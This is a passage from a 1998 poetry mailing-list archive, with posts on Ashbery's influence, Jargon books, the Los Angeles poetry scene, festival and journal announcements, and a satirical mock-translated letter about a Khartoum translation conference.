Gary, this is fun. The question you ask concerning the relevance of critical discussion to the actual practice/activity of writing poems is a very important one & I hope that other people will take it up as well -- I just don't have the time this p.m. to address it with the attention & frankness that I think necessary -- but I'm anxious to, as soon as I can break away from other work. For now, though, since you brought it up, why don't *you*, if you like, do a close reading uncovering the Dylan Thomas, Ovid, & Shakespeare lurking in Stroffolino's poetry & explain to me how these influences -- the ones you cite in your initial post -- are more (or just as) urgent & prevelant in S's poetry than Ashbery's. Can you do it with a straight face?

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697. **Gary Sullivan**
With a straight face
Fri 28 Aug 1998

Well, I think I can, and will definitely try. I don't have e-mail at home, but will respond on Monday. But, Jacques, forgive me, I probably wasn't clear: by "Dylan" I meant Bob Dylan, not Dylan Thomas. Yes, this is fun. But then, my alternative, here, is (gag me) "work." Which is thankfully over. & this being Friday night, I'm off to go get twisted.

Soon-soon,

Gary

On Friday, August 28, 1998 4:46 PM, Jacques Debrot [SMTP:[redacted]]
wrote:
> Gary, this is fun. The question you ask concerning the relevance of critical

> discussion to the actual practice/activity of writing poems is a very
> important one & I hope that other people will take it up as well -- I just
> don't have the time this p.m. to address it with the attention & frankness
> that I think necessary -- but I'm anxious to, as soon as I can break away
> from other work. For now, though, since you brought it up, why don't *you*,
> if you like, do a close reading uncovering the Dylan Thomas, Ovid, &
> Shakespeare lurking in Stroffolino's poetry & explain to me how these
> influences -- the ones you cite in your initial post -- are more (or just as)
> urgent & prevelant in S's poetry than Ashbery's. Can you do it with a
> straight face?

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698. **Mark Weiss**
Re: last call
Fri 28 Aug 1998

This question of influence is pretty tricky because it sometimes happens on so intimate a level that it's unlikely to be noticed by anyone but the poet. In my own case, for instance (and I cite myself only because I have more specialized knowledge), I have been very influenced in my sense of the language's music by, among others, Ben Jonson and Armand Schwerner. Neither would recognize their voices in my work.

At 04:46 PM 8/28/98 EDT, you wrote:
>Gary, this is fun. The question you ask concerning the relevance of critical
>discussion to the actual practice/activity of writing poems is a very
>important one & I hope that other people will take it up as well -- I just
>don't have the time this p.m. to address it with the attention & frankness
>that I think necessary -- but I'm anxious to, as soon as I can break away
>from other work. For now, though, since you brought it up, why don't *you*,
>if you like, do a close reading uncovering the Dylan Thomas, Ovid, &
>Shakespeare lurking in Stroffolino's poetry & explain to me how these
>influences -- the ones you cite in your initial post -- are more (or just as)
>urgent & prevelant in S's poetry than Ashbery's. Can you do it with a
>straight face?
>
>

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699. Marjorie Perloff
Re: Sulfur special issue, 1999
Fri 28 Aug 1998

Call for Poems, Prose works

As we announced in July, Jenny Penberthy and I are guest-editing a special issue of SULFUR on Anglophone poetry outside the U.S. and U.K. Much good material is coming in from Canada, Australia, and New Zealand but we are woefully short on material from South Africa and the other English-speaking African countries, the Caribbean, India and Pakistan. If you wish to submit poetry or short prose texts (including critical essays), please email to me as well as to Jenny. The deadline is October 15th. And urge your friends to submit!

Or mail to us in duplicate (with return postage please):
1) Marjorie Perloff
   1467 Amalfi Drive
  Pacific Palisades, CA 90272

2) Jenny Penberthy
   3125 Waterloo St.
   Vancouver, BC
   Canada V6R 3JB

Best wishes from

Marjorie & Jenny

<HTML>
<B>Call for Poems, Prose works</B>

<P>As we announced in July, Jenny Penberthy and I are guest-editing a special issue of SULFUR on Anglophone poetry outside the U.S. and U.K. Much good material is coming in from Canada, Australia, and New Zealand but we are woefully short on material from South Africa and the other English-speaking African countries, the Caribbean, India and Pakistan. If you wish to submit poetry or short prose texts (including critical essays), please email to me as well as to Jenny. The deadline is October 15th. And urge your friends to submit!

<P>Or mail to us in duplicate (with return postage please):

1) Marjorie Perloff

    1467 Amalfi Drive

   Pacific Palisades, CA 90272

<P>2) Jenny Penberthy

    3125 Waterloo St.

    Vancouver, BC

    Canada V6R 3JB

<P>Best wishes from

<P>Marjorie & Jenny</HTML>

----------9EDCE27A13D9A15993B1EFEF--

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700. KENT JOHNSON
(Fwd): Khartoum Translation Conference
Fri 28 Aug 1998

------- Forwarded Message Follows -------
From: "KENT JOHNSON" <STUDENT/KJOHNSON>
Organization: Highland Community College
To: kjohnson
Date: Fri, 28 Aug 1998 13:52:55 -0500
Subject: (Fwd): Khartoum Translation Conference

Dear Mr. David:

It is to our delightful attention that the poetry of Sudan is now discussed in the poetry of America with such suddenness. Thank you for being a section of this and for making a vision of a poet of Sudan. In ways I believe you do not suspect, you have entered the Arab nation's literature. It is my principle, nevertheless, that you must be delighted by this.

Please excuse my English, but I am writing to invite you, as a poet first of Canada and now, secondarily, of America, to what I now wish to present. I am speaking concerning a conference (International) devotional to translation in all the sense of this word. We are interested, with specificness, in the doubled (tripled!) voices passed through many mediators of history and cultural ignorance. Irony, as I feel you must conceptualize, is big here. Irony, in its bigness, becomes something other. It is like, for an example, you, a Sudanese poet speaking through an English tongue of brokenness. Or it is like many, many things: For an example, if I may twice say so: It is like two boys kissing in the shadows of a pharmaceutical plant. (They are like black and deep wells. Their lives inside are very, very rich.) The sun will come up over this dusty land and an ancient hatredness shall fill them.

I do not know if I put myself well. So may I directly ask. Will you come to Khartoum? Please close your heavy eyes and dream of my branching hand opened out to you.

We passion to invite another poet of America, Mr. Kent, who also is credenced in your two countries, and perhaps others, to be a racist. (In his reply to our Central Council, he spoke: "I am honestly not sure.") Still we are opened, and we have most little, but our flowing tents which appear (to all purposes and meanings) to be sailboats in the desert, are yours. Our young are fresh and eager, and they shall press into your soft mouth goat cheese with a hurt and surprised look in their eyes. Also, dark-skinned soldiers with golden and musical watches adorn every minareted corner. Yes, you will find Khartoum strange and hospitality-filled, except, as you realize, inside certain surprising circumstances. But lightning on a human is more likely, so really not to worry.

Ethnography, of course, is also interesting to every one of us and to all peoples. Our flowing tents, if I may say it repeatedly (for I, in an addition, am a poet), appear to be sailboats in the desert. Thus, after the morning session, we will convene in Building 242 for tea, the prayers of all religions, and the making of bombs. No one is to be insulted, not even if they do not know how. Then we will reconvene, as I have said, and talk concerning Ethnography, including the customs of Christian animists to the south, the poignancy of American magazines like _Look_and _Cross Cultural Poetics_, and the rituals of Buffalo List of Poets.

Well, I am sorry. The situation is very complicated. But here, as the saying goes, we are. Here also, please, is a poem by a youth named Leonel Rugama whom we have invited too, except sadly he was beheaded long ago, at 20 years, by Green Beret students in the country of Nicaragua:

The Earth Is A Satellite Of The Moon

Apollo 2 cost more than Apollo 1
Apollo 1 cost plenty.

Apollo 3 cost more than Apollo 2
Apollo 2 cost more than Apollo 1
Apollo 1 cost plenty.

Apollo 4 cost more than Apollo 3
Apollo 3 cost more than Apollo 2
Apollo 2 cost more than Apollo 1
Apollo 1 cost plenty.

Apollo 8 cost a whole shit-load of money, but no one minded
because the astronauts were Protestant
they read the Bible from the moon
astounding and delighting every Christian
and on their return Pope Paul VI gave them his blessing.

Apollo 9 cost more than all of these put together
including Apollo 1 which cost plenty.

The great-grandparents of the people of Acahualinca were less
hungry than the grandparents.
The great-grandparents died of hunger.
The grandparents of the people of Acahualinca were less
hungry than the parents.
The grandparents died of hunger.
The parents of the people of Acahualinca were less
hungry than the children of the people there.
The parents died of hunger.
The people of Acahualinca are less hungry than the children
of the people there.
The children of the people of Acahualinca, because of hunger,
are not born
they hunger to be born, even to just die of hunger.
Blessed are the poor for they shall inherit the moon.

Well, in realness, I do not know why I give this poem, except that I
know you very much like poems. Don't you agree it was translated,
without doubtfulness, by someone most self-congratulatory, so angry
at his own country, yet blind as Oedipus to the terrorisms of
non-white peoples? (Forgive me. I am smoking opium from Afghanistan.
It betters my English, which you can tell is getting better as
this letter, like a martyr, spills.)

Of course, Mr. David, the trip (including camels) is long, like torture, apparently, in its likeness, and you shall be compelled to gift-forth your own plane-fare. In these days, that can be a dangerous incident. I understand, of course. But we sure hope you will say yes. Will you say yes? The people of Sudan await you. Headphones are to be distributed. You are forever one of us.

Sincerely, (although it is not my true name)

Osama Hussein

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701. **Maria Damon**

Re: Masha Zavialov email/Russain Poetry Festival (fwd)

Fri 28 Aug 1998

---

here's -not the original but an update--i'll look and see if i still have the original; just got this today.

At 2:59 AM +0000 8/28/98, miekal and wrote:
>can anyone repost the original message about the festival?

>
>miekal

To: Maria Damon <[redacted]>
Organization: Private person (St.Petersburg)
Date: Fri, 28 Aug 1998 04:26:33 +0400 (MSD)
From: "Sergei A. Zavialov" <[redacted]>
Subject: more in festival
Lines: 43

Dear Maria I'm sorry you are not coming but I hope that there will be another chance for you to come. To tell the truth it's not the best time to come as we are now on the verge of economic collapse. The rouble is falling drastically and prices are skyrocketing. It's not bad though for dollar-holders. I can't cash my grant that I got from Soros Foundation in August for the research in African American and Russian women's literature. All bank accounts are almost frozen. Enclosed please find some additional information on our festival. I wonder if it's possible to put it on the Poetics list.

File begins:

Here is some new information for the festival: The name of the festival is "Genius Loci". The main idea of the festival is to overcome the split between regional trends and schools (Moscow and St.Petersburg schools as the main and maybe only ones extant now) in Russian poetry. This split is not informational but aesthetic. So we strive to reestablish poetic continuity, to rehabilitate St. Petersburg poetry in the eyes of the Moscow public and to shatter the conservatism of the Petersburg public In other words - to demythologize the images of both. Our party will include all the active poets of St. Petersburg of various "denominations": traditionally Peterburgian poets Krivulin and Stratanovsky, poets associated with postmodernism A. Dragomoshchenko, Skidan, Golynko, a poet of "traditional avanguard" Gornon, an old member of Soyuz Pisatelei but still a very good poet and a young man Nikolai Kononov, a poet of hermetism Mikhail Eremin, a syllabist Larissa Berezovchuk, an OBERIUt Kucheriavkin, and Sergei Zavialov. You see that "classical" Peterburg poetry with its monotonous rhyming doesn't dominate the scene. Moscow people: conceptualists Prigov and Rubinstein, lianozovets Sapgir, a poet writing in free verse Akhmetyev, performance people Bonifatsii and Avaliani, young poets Vodennikov, Skorodumova and Zondberg, and also three well-known guys Aizenberg, Gandlevsky and Aristov. Of three days in each city there will be two days of readings and one day (the last one) of discussions and round tables where you are very welcome to participate The venue in St.Petersburg is Pushkin's memorial apartment on Moika,12. End file. I got an answer from Armand. But I don't have Solomon's

address. If you have it please send it to me. I mean email addr. Hope to hear from you, Masha

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702. **joel lewis**
Re: whalen/berrigan
Fri 28 Aug 1998

---

the story that whalen told about the origins of On Bears Head was that the late novelist Don carpenter was signed to harcourt and suggested thatthe press publish whalen, ron lowensohn, james koller and lew welch. All, but the Welch book was published (welch did put together a selection that was done by Don Allen)..if i recall these books were published under a coyote/harcourt imprint, obviously thiings were loser in the late 60's, as this is similiarto tom clark get-tingharper & row to publish coolidge, saroyan & (i think) dick gallup and lewis macadams.

apparently lewis warsh and bill berkson were among the picketers at the har-cout offices (the hd was 17.95) amzingly the pb was in print until the early 80's and then you could get a copy for a buck.

berrigan was not the only whalen booster. warsh wrote an essay on OBH. wald-man interviewed him and he taught at naropa in the early years. coolidge as well was a big booster.

it would be great if a collected where issued-- maybe too much for a small press to handle

joel lewis

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703. **Todd Baron /*/ ReMap**
Re: Whalen/Berrigan
Fri 28 Aug 1998

---

ps: berrigan--yes--also really loved the Berryman sonnets.

TB

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704. **Charles Bernstein**
more on Russian poetry festival (fwd)
Fri 28 Aug 1998

---------- Forwarded message ----------
Date: Fri, 28 Aug 1998 09:55:16 +0400 (MSD)

From: "Sergei A. Zavialov" <[redacted]>
To: [redacted]
Subject: more on festival

Dear Charles You are right, this country is about to collapse economically. The rouble has fallen 30% but still foreign currency is nowhere to be got even at a higher price. I can't cash the check I got as a grant from the Soros Foundation for the research in Afr. American women's writing. In a bank (the main state-owned one) they told me they could cash it in two months but they didn't advise me to trust them my money. I guess I'll have to go to Finland to cash it. The perparation for the festival is going on in spite of all economic and social upheavals. Here is some more on the festival. I've sent the same file to Maria Damon. Best wishes, Masha

Here is some new information for the festival: The name of the festival is "Genius Loci". The main idea of the festival is to overcome the split between regional trends and schools (Moscow and St.Petersburg schools as the main and maybe only ones extant now) in Russian poetry. This split is not informational but aesthetic. So we strive to reestablish poetic continuity, to rehabilitate St. Petersburg poetry in the eyes of the Moscow public and to shatter the conservatism of the Petersburg public In other words - to demythologize the images of both. Our party will include all the active poets of St. Petersburg of various "denominations": traditionally Peterburgian poets Krivulin and Stratanovsky, poets associated with postmodernism A. Dragomoshchenko, Skidan, Golynko, a poet of "traditional avanguard" Gornon, an old member of Soyuz Pisatelei but still a very good poet and a young man Nikolai Kononov, a poet of hermetism Mikhail Eremin, a syllabist Larissa Berezovchuk, an OBERIUt Kucheriavkin, and Sergei Zavialov. You see that "classical" Peterburg poetry with its monotonous rhyming doesn't dominate the scene. Moscow people: conceptualists Prigov and Rubinstein, lianozovets Sapgir, a poet writing in free verse Akhmetyev, performance people Bonifatsii and Avaliani, young poets Vodennikov, Skorodumova and Zondberg, and also three well-known guys Aizenberg, Gandlevsky and Aristov. Of three days in each city there will be two days of readings and one day (the last one) of discussions and round tables where you are very welcome to participate.

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705. **Ramez Ejaz Qureshi**
Re: ascetic aesthetics
Sat 29 Aug 1998

Wouldn't anything psychoanalytical on sublimation, whereby a certain quality of pleasure is renounced for another, be helpful? Also Marxism; you mention

Adorno, but Benjamin on distraction, Lukacs on the utility of realism, or Brecht's aesthetic distancing as a shift of quality of pleasure for political purposes might be worth thinking about.

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706. **Thomas Bell**
Re: poetry on the web
Sat 29 Aug 1998

Loss,
I'm sure you realize that you're opening some meaty issues here, issues that I feel merit further comment(s)-

Loss Pequen~o Glazier wrote:
>
> Dear Dodie & others,
>
> The gif file idea is often the most attractive but, as Dodie mentions, less
> than idea for people with lower end computing power. (The poem, in this form,
> also looses its status as "text" ruling out the possibilities of text-based
> search tools which becomes more of a shortcoming as the size of your site
> grows.)

A poem's status as 'text' is an intriguing concept when 'text' is "actual words of an author as opposed to notes" (_Websters') or "the principal matter on a printed page" (Webster's again) and this 'text' is posted for people to 'read' through a wide range of browsers. Is it 'printed as text" when posted or when read? I think there is more to this question than just a virtual conumdrum.

> *This matter of 'do we make the poetry text or an image' really has some implications ie, I worry about taking from our works their status as text. It's*
> *like poetry becomes idealized or removed from circulation in certain senses.*

My experience in working with poetry as image is that rather than taking from my work I am adding to it through the drawing mode. [I hope this is shared by readers]. the verbal and visual come from differnt places in my body and meet (hopefully) out there someplace (playspace, meditation site, etc.). Hard to keep from getting carried away here, but recent mentions of Whalen on the list here is possibly serendipitous?

tom bell

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707. Ramez Ejaz Qureshi
Re: ascetic aesthetics(2)
Sat 29 Aug 1998

Oh, an addendum. I think Benjamin's conception of "sobriety" in his essay, "On the Concept of Criticism in Early German Romanticism" could be helpful. Also, in the Kantian vein, Schiller's ofen overlooked essay on the sublime might interest you. -RQ

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708. Mark Salerno
Re: RIBOT conference
Sat 29 Aug 1998

Dear Friends:

At the risk of preaching to the choir, I'd like to second a statement made by my colleague, Standard Schaefer, in his announcement of the Ribot Conference, to wit:

P.Standard Schaefer wrote:
>
> Despite what people
> say about the L.A. scene, there are a lot of sharp people in town, more now
> than ever, and a lot of momentum building up through this second conference.

It amazes me that, among seemingly "sharp" people in other parts of the world, Los Angeles as a cultural and arts center is still held in low esteem, if not in contempt. For example, when I was in New York last spring, to read at St. Mark's and the Zinc Bar, and to see friends and fellow poets, I was often met with the question: "Is there any poetry scene in L.A.?" This question was sometimes accompanied by derisive jokes about Los Angeles cultural life, or lack thereof, jokes that dated back to the pre-ANNIE HALL movies of Woody Allen. I was disappointed, to say the least. It seems like the height of provincialism to have no interest in or understanding of places outside one's own, and I had expected a little better of New York.

The fact is that Los Angeles has a pretty dynamic and varied poetry scene, one that remains open to new things and to experiment on all levels. The upside of the famous "slam" against L.A., that it is too spread out, is that there's plenty of room--intellectual and psychological, as well as geographical--for everyone and anyone to do as they please. Furthermore, Standard's point is not just that there is activity here, but that there is quality as well. One need look no further than Standard's own RHIZOME magazine, which I think in terms of its quality

stands up against anything of its kind published anywhere else in the U.S. And RHIZOME represents but a small segment of the kinds of things being produced in Los Angeles. Paul Vangelisti's RIBOT, and the conferences that are growing out of it, are also sources of quality material and gathering energy. And it hardly needs to be stated that Douglas Messerli's Sun & Moon Press is arguably the premier small press in North America--and, folks, its offices are down on the famous and beautiful Wilshire Boulevard!

While I dislike being in the position of having to defend Los Angeles, or of sounding booster-ish, I must say it really doesn't reflect well on us as poets and artists if we continue to fall back on received opinions (not to say cliches) and fail to allow our curiosity to lead us to investigate what is really what. Even if we are *only* talking about Los Angeles.

Good wishes & Join Us for the Ribot Conference,

Mark Salerno

P.S. I'm a New Yorker born and raised, living in Los Angeles for a decade and a half, so I'm not exactly unsympathetic to both sides of the issue.

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709. **charssmith**
Re: new WITZ
Sat 29 Aug 1998

Chris,

I must've missed yr announcement for 6.1, so I'm sending $10 for a subscription to vol 6 -- hopefully you've still got some of #1.

Charles Smith
2135 IRvin Way
Sacramento, CA 95822

In a message dated 98-08-27 15:10:39 EDT, you write:

<<
WITZ

VOLUME SIX, NUMBER 2

SUMMER 1998
>>

↑ Index

710. **F. W. Perrella**
Liberian Poets - any info?
Sat 29 Aug 1998

Noting the discussion of Sudanese poets, I was wondering if anyone knows of any Liberian poets/poetry websites?

Thanks

Anne Perrella

↑ Index

711. **miekal and**
Re: Jargon books
Sat 29 Aug 1998

---

hank

have you called Woodland Patterns in Milwaukee? They are amazing for having stocked a tremendous amount of small press when it came out & a lot still remains in stock, not having sold for all these years, & the prices are often the original. for instance, Ive been able to pick up bob cobbing writer forum books for a couple dollars. worth a try, dont have their phone in front of me but could dig it up if need be.

miekal

↑ Index

712. **A. Jenn Sondheim**
Nikuko on Ytalk
Sat 29 Aug 1998

-

Nikuko on Ytalk

----------= YTalk version 3.0 (2)---------- Oh, this is more beautiful than I could ever imagine. I am ytalking myself, I, Daishin Nikuko And then I would come out of the cave to see the jeweled ornaments between my legs, glistening there between my legs, visible in the light of my sun And there would be the smell of my body everywhere, like the smell of the earth, and these would be the jewels to be caressed, the magatama I am wearing now, curved into me Curved so they emerged in the form of speech and speaking and the glistening murmurs of the world Until our speech is curved itself, dense scent now of love, death, you. ----------= [redacted] Hi there, my god you've made it through here... When I was in the cave then was I dancing outside the

cave, exposing myself to myself And I would grab myself, stop the useless flight back into the darkness, surely; and the grain would grow, the trees flower, cherry blossoms everywhere... Curved into me, like a flower or a seed, curved through my loins, stomach, through my mouth and throat Which here I place upon the page for you to read, to comprehend, to pass down, generation after generation

----------= YTalk version 3.0 (2)---------- Hi there, my god you've made it through here... When I was in the cave then was I dancing outside the cave, exposing myself to myself And I would grab myself, stop the useless flight back into the darkness, surely; and the grain would grow, the trees flower, cherry blossoms everywhere... Curved into me, like a flower or a seed, curved through my loins, stomach, through my mouth and throat Which here I place upon the page for you to read, to comprehend, to pass down, generation after generation ----------= [redacted] Oh, this is more beautiful than I could ever imagine. I am ytalking myself, I, Daishin Nikuko And then I would come out of the cave to see the jeweled ornaments between my legs, glistening there between my legs, visible in the light of my sun And there would be the smell of my body everywhere, like the smell of the earth, and these would be the jewels to be caressed, the magatama I am wearing now, curved into me Curved so they emerged in the form of speech and speaking and the glistening murmurs of the world Until our speech is curved itself, dense scent now of love, death, you.

↑ Index

713. **Susan Schultz**

Re: more Ashbery

Sat 29 Aug 1998

I enjoyed Jacques D's post on Ashbery, despite finding myself in the "wrong" camp of Ashbery camp followers. What struck me, however, was that the terms by which the _New Criterion_ decided what JA was acceptable and what not were simply reversed, so that what the NC didn't like acquired value and what they approved of seemed troublesome to JD. Surely there are a myriad--a plethora, even--of positions somewhere else on this right to left (or meditative/ Romantic to O'Hara) spectrum. To categorize JA as an either-or seems to me, in any case, to go against the terms that JA sets up (though I admire the way Debrot worked this particular kind of argument). What strikes me as most troublesome about Ashbery is not that there is more than one of him--hence many possible variations on his themes by younger poets, but that it's impossible on some level to make the choice. His consistency is his inconsistency. It's

something that makes it difficult to write about his work, seems to me. That said, I think there remains a lot of work to do within the larger influence that Ashbery is, and one of these tasks is to anchor his marvelous process of process in the actual, political, multicultural world. One can make the argument that he already does this (as Stephen Paul Martin did in a book I edited), but I think one can expand upon this strain (and perhaps it _is_ a strain) in JA's work. That is what I see myself trying to do, whether or not the _Talisman_ bears witness to it. And that said, I'd happily pay my money again for _Wakefulness_, if only to read the lines in the first poem about "A kindly gnome / of fear [that] perched on my dashboard once." I knew that gnome, I was friends with that gnome, and Dan Quayle, you have no gnome.

all the best, Susan Schultz

↑ Index

714. Peter Balestrieri
Re: (Fwd): Khartoum Translation Conference
Sat 29 Aug 1998

An amazing letter and voice. I'd like to hear more from Husein. Kent, do you have an address?

It's great to see Leonel Rugama's name and work in print anywhere. Surrounded in a home by the army of Somoza, Rugama, a young poet and Sandinista, was called on to surrender. His comrades dead beside him and the house in flames, Rugama yelled back, "Ask your mother to surrender"! "The Earth Is A Satellite Of The Moon" is one of my favorite poems.

PB

↑ Index

715. Thomas Bell
ascetic aesthetics
Sat 29 Aug 1998

Quote and query: I suspect the void Kristeva deals with in this essay differs from that in the original query to the list, but I'll post it anyway as I have a further question: "In its most audacious moments current (Lacanian) psychoanalytic theory proposes a theory of the subject as a divided unity which arises from and is determined by lack (void, nothingness, zero, according to the context) and engages in an unsatisfied quest for the impossible, represented by metonymic desire." - The subject in process from _The Tel Quel Reader.

My question is what does "metonymic" mean here? I'm baffled or am I just in an end of summer heatwave funk/

tom bell

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716. Hank Lazer
Re: Jargon books
Sat 29 Aug 1998

Dear List-lings:

I was in Asheville (NC) a couple of months ago, and stumbled across a couple of excellent used/rare bookstores. Among other things, I picked up two Jargon books by Thomas Meyer: THE BANG BOOK (Jargon 69, 1071 - A tale of the Old West), and SAPPHO'S RAFT (Jargon 99, 1982). As expected, these are gorgeous books. Can anyone help me out: who is/was Thomas Meyer?

And, on Jargon books, another request for help (back-channel, I suppose): can anyone help me locate (for purchase) an affordable copy of Larry Eigner's ON MY EYES (Jargon 36, 1960)?

I've seen bits and pieces of this book--there is a good selection in Larry's SELECTED POEMS--and I'm becoming convinced that this book is a neglected masterpiece. I've located one copy for sale, but at $250 it's way out of my league. Any help finding an affordable copy would be appreciated.

Hank Lazer

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717. Mark DuCharme
Re: re : whalen/berrigan
Sat 29 Aug 1998

I've heard Anne Waldman & Joanne Kyger reminiscing about the demonstration, which they attended. Don't know anything else about it though, but apparently it did take place.

-Mark DuCharme

>If i'm not mistaken, Don Allen was working for Harcourt, Brace briefly and
>saw On Bear's Head thru the press there. And I'm almost certain there was a
>demonstration at the publishers, I wasn't there but Steve Jonas, or Joe
>Dunn, or Bill Corbett or Tom Lux might have been.
>
>billy little
>4 song st.

>nowhere, b.c. V0R1Z0
>
>ah! those strange people who have the courage to be unhappy!
>Are they unhappy, by the way?
>
> Alice James
>

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

718. **Pierre Joris**
Re: Jargon books
Sun 30 Aug 1998

Hank: Tom Meyer is one of the best-hidden secrets of US poetry. I met him in the late sixties when we were undergraduates at Bard College, & Tom very much enthralled with Robert Kelly ('s work). I, young rimbaldian european always down at Adolf's bar trying to dis-adjust my dérèglement of all the senses, was amazed at Tom's absolute seriousness as a poet even then: he would write solidly a number of hours a day, working on a long, long work (never published as such, though a few excerpts did appear in mags) called, if memory serves, _A Typographical(?) Typography in Progress_. Meeting Basil Bunting soon after the dogdays of the Bardo Thodol, got him to trim the work to a perfect lyric: his ear is one of the very best I have encountered. His choice to publish (nearly exclusively) with Jargon Press (he & Jonathan Williams have been companions for many years) has meant a number of lovely, and lovingly produced but rather well-hidden books over the last 25 years ‹ besides those you mention, try to get ahold of _Staves Calends Legends_ and _The Umbrellas of Aesculapius_, both also from Jargon. Also, from St Lazaire Press, _Tom Writes This For Robert To Read_ (I still have a few copies of that, shld you/anyone be interested.) Last time I talked to him he was working on an opera libretto. Meyer is a tremendous poet whose work deserves to be much, much better known ‹ though maybe Tom himself would prefer his readers to discover his work the way you just did ‹ & wld excoriate this my public running off at the email-mouth. 'Nuff said, on this, Charlie Parker's birthday, -- Pierre
========== Pierre Joris [redacted] 6 Madison Place Albany NY 12202 tel: [redacted] fax: [redacted]
========== It is an absent Anerica whose presence is at stake ‹ Robin Blaser ==========

>From: Hank Lazer <[redacted]>
>To: [redacted]
>Subject: Re: Jargon books
>Date: Sat, Aug 29, 1998, 2:22 PM
>

> *Dear List-lings:*
>
> *I was in Asheville (NC) a couple of months ago, and stumbled across a couple of excellent used/rare bookstores. Among other things, I picked up two Jargon books by Thomas Meyer: THE BANG BOOK (Jargon 69, 1071 - A tale of the Old West), and SAPPHO'S RAFT (Jargon 99, 1982). As expected, these are gorgeous books. Can anyone help me out: who is/was Thomas Meyer?*
>
> *And, on Jargon books, another request for help (back-channel, I suppose): can anyone help me locate (for purchase) an affordable copy of Larry Eigner's ON MY EYES (Jargon 36, 1960)?*
>
> *I've seen bits and pieces of this book--there is a good selection in Larry's SELECTED POEMS--and I'm becoming convinced that this book is a neglected masterpiece. I've located one copy for sale, but at $250 it's way out of my league. Any help finding an affordable copy would be appreciated.*
>
> *Hank Lazer*

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719. Tosh
RIBOT
Sun 30 Aug 1998

>mark:
>
>LA needs to be held in contemp--as does ever other major city in the
>world! A query as to "does a poetics exist there" is a valid
>question--always! You need not defend--only answer-- and such n answer
>true wold be "a growing one"--but surely not a defensive one.
>
>
My feelings are that in the near future (if not already) it doesn't matter if poetics exist here or there - due to the magnificant power of the computer. The internet has pretty much destroyed geography boundries - for

those who have it of course. Perhaps it is a matter of time (perhaps seconds) where all cities can be hooked up.

I don't think it will be a matter of major or 'minor' cities. I think the difference will be deleted. Although I don't understand what it means to (for a city) 'be held in contempt.'

Tosh Berman
TamTam Books

↑ Index

720. **Mark Weiss**
Re: Jargon books
Sun 30 Aug 1998

Pierre--One for me, please. Let me know the terms. My snailmail is PO Box 40537/ San Diego CA 92164.

Also, from St Lazaire
>Press, _Tom Writes This For Robert To Read_ (I still have a few copies of
>that, shld you/anyone be interested.)

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721. **Mark Weiss**
(no subject)
Sun 30 Aug 1998

Oops.

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722. **david bromige**
Mr.Kent's inviting letter
Sun 30 Aug 1998

Dear me Mr.Kent, how can I thank you for your inviting letter. Inasmuch as it was a response to my dramatic catalog, "Brainwashed Sudanese Poet," let me move rapidly to make you sure it was really not much about my ignorance of my home land nearly so much as it was about bad writing. The eponymous person was born of that phrase, nothing more or less than what the Dr.Griemass has called an _actant_ , for the phrase that it was born of was driving the camels of my mind from the tents of my soul, if I may to place it in your language. Only to sit, take up dried-dung stick, indite, relieved.

Some lesser-sized hope beat in my br, er, breasts, that the easy ironies of those wielding it shall lessen their accessibilities. Are you Mr.Kent author of poem concluding the poor live on the moon as of the Double Flowering poet with the name difficult to us of my country? I am holding converse with your sister-in-law at the local well and it is of our children we speak, and our writings. How sad if our children are being exploded or even inured with Crude missiles! Then is one likely to come off it tone-wise, and injure our art with longings. My indignation has rocks in its mouth to please an old Greek. I am being compared to a Brit if you please. Are you terrorista ?

But to me it is seeming badwriting has some approach hopefulness to surviving language through cliche war for the words sentenced to death. It is like the straw camel that hides the active participant. Are you able to think like I or do we have to kill one another, and all the shades of gray from cat to camel in between, there, there is our topos. I am soon to learn the employment of exclamation marks, those punctiliousnesses that resemble falling bombs, and might well be appended to the exclaims of those agonized thereof. Secondarily, as you write, byproducts of badwriting entail minute examinations of how one is spelling his writing, so as better to make certain all mistakes are intentional in the eye of the reader (his other eye lost for the underdeclared war).

Because all this is exemplary, Mr. Kent (may I be calling you Clark?), we would like you to be head of conference on badwriting to be held at an authentic address, For-a-Song Sheet, Nowhere, Before Christ, The World, The Universe. Little pains will be lost to render you hospitable in our entertainments. I do not myself look forward to the time when I master better the English tongue and write like everybody else. But it must come to all us, in our obscureness. Again, I am of no nation except it be textual. I am like the poor living on the moon, full of moonshine. America, however, is full of blades of glass. Davood.

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723. Todd Baron /*/ ReMap

Re: RIBOT conference

Sun 30 Aug 1998

---

mark:

LA needs to be held in contemp--as does ever other major city in the world! A query as to "does a poetics exist there" is a valid question--always! You need not defend--only answer-- and such n answer true wold be "a growing one"--but surely not a defensive one.

Todd Baron
ReMap

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724. **david bromige**
Re : Last Call
Sun 30 Aug 1998

Dave Baratier and other interested parties : And I am dumb to hmm the hmm hmm ing worms/ at what hmm hmm hmm my own win ding sheet, + , before the children green and golden/ follow him out of grace, (I paraphrase, I expect), are two Dylan Thomas bits that are brought to mind by Chris Stroffolino's lines, the last 3 you quote. David

PS Not to say that these noted connections are not madly subjective off course

↑ Index

725. **k.a. hehir**
Re: Thanks for Klingon
Sun 30 Aug 1998

---

scott is a spound poet

trust him

kevlar

|----------| | And the near future when I'll shut up again, | | utterly baffled by these poems.
	Jacques Roubaud

↑ Index

726. **k.a. hehir**
capilano review
Sun 30 Aug 1998

> *For Immediate Release*
>
> *Event date, Tokyo, Japan: September - October 1998*
> *Event date, Vancouver: September 27, 1998*
> *Contact: Carol L. Hamshaw*
> [redacted], [redacted]
>
> *The Capilano Review travels to Tokyo, Japan*
> *For the first time in its over 25 year history, acclaimed literary journal The Capilano Review, will be launching its next issue outside of the country--outside of North America, in fact.*

> *The launch takes place at the Canadian Embassy Gallery, Tokyo in conjunction with the exhibition of artist and writer Pierre Coupey's Notations, September to October, 1998. Requiem Notations I -IX, the core selection of this exhibition, will be published in the upcoming issue of The Capilano Review, 2:26, due out in October of this year.*
>
> *Requiem Notations I -IX brings together Coupey's artistic dual focus in poetry and visual art. This elegiac work, dedicated to his parents, explores memory and family and combines Coupey's well known visual talents and his equally established reputation as a poet.*
>
> *Coupey's works will be exhibited locally in June - July, 1999, at the Evergreen Cultural Centre. For a preview, visit The Capilano Review booth at The Word on the Street Festival, September 27, 1998 at Library Square. Sign up for a subscription or order a copy of Issue 2:26 in advance.*
>
> *- 30 -*
>
> *Carol L. Hamshaw*
> *Managing Editor*
> *The Capilano Review*
> *2055 Purcell Way*
> *North Vancouver, BC V7J 3H5*
> [redacted]
> *www.capcollege.bc.ca/dept/TCR*

↑ Index

727. **k.a. hehir**

Re: the write to a bad language

Sun 30 Aug 1998

---

i am catching up on back messages but, i would suggest walter Ong.

